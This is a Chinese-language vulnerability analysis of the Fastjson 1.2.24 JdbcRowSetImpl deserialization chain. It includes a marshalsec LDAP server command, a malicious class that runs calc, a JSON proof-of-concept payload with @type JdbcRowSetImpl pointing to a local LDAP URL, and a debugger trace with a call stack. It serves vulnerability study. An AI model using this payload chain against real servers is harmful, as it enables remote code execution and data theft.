Fastjson-JdbcRowSetImpl利用链分析
JdbcRowSetImpl这条链的实际运用中较为广泛,这个链基本没有限制条件,只需要Json.parse(input)即可进入命令执行
漏洞描述
漏洞是利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大的影响
利用限制
影响版本:fastjson <= 1.2.24
基于JNDI+RMI或者是JNDI+LDAP进行攻击,对JDK版本限制
RMI利用的JDK版本<=6u132、7u122、8u113
LDAP利用JDK版本<=6u211、7u201、8u191
攻击流程
- lookup(URL)可控
 
- 控制URL参数指定一个RMI服务
 
- RMI服务向目标返回一个Reference对象,Reference对象指定某个精心构造的Factory类
 
- 目标在进行
lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例 
- 攻击者可以在Factory类文件的静态代码块写入恶意代码,造成RCE
 
复现操作
首先我们利用marshalsec启动一个LDAP Server
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http:
 
  | 
 
Exp
public class Exp { 	static { 		try { 			Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"}); 		} catch (IOException e){ 			e.printStackTrace(); 		} 	}
  	public static void main(String[] args) {          	} }
 
  | 
 
使用python挂到网页上
pom.xml
<dependency> 	<groupId>com.alibaba</groupId> 	<artifactId>fastjson</artifactId> 	<version>1.2.24</version> </dependency>
 
  | 
 
对恶意payload,字符串转换对象触发RCE
package com.test;
 
  import com.alibaba.fastjson.JSON;
  public class POC {     public static void main(String[] args) {
          String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";         JSON.parse(PoC);     } }
 
  | 
 
调试分析
对JSON.parse进行断点

我们直接走到deserialze方法上进行反序列化,前面的步骤与我们Fastjson反序列化那篇文章大致是一样的

接下来会对JdbcRowSetImpl进行初始化
在JdbcRowSetImpl构造方法上进行断点,直接跳到这里

parseObject还会去调用set方法,所以我们断点到setDataSourceName、setAutoCommit方法上

调用父类的setDataSourceName

步入setDataSourceName,赋值了dataSource为我们的ldap恶意地址

实现的JdbcRowSetImpl的setDataSourceName方法并且值是ldap恶意地址,接着我们走到setAutoCommit方法下

走进connect方法

InitialContext调用到lookup方法,我们看看传的值

跟进this.getDataSourceName(),可以看到是我们前面传的getDataSourceName的值

成功远程加载命令执行

调用栈
connect:634, JdbcRowSetImpl (com.sun.rowset) setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer) deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:128, JSON (com.alibaba.fastjson) main:10, POC (com.test)
 
  |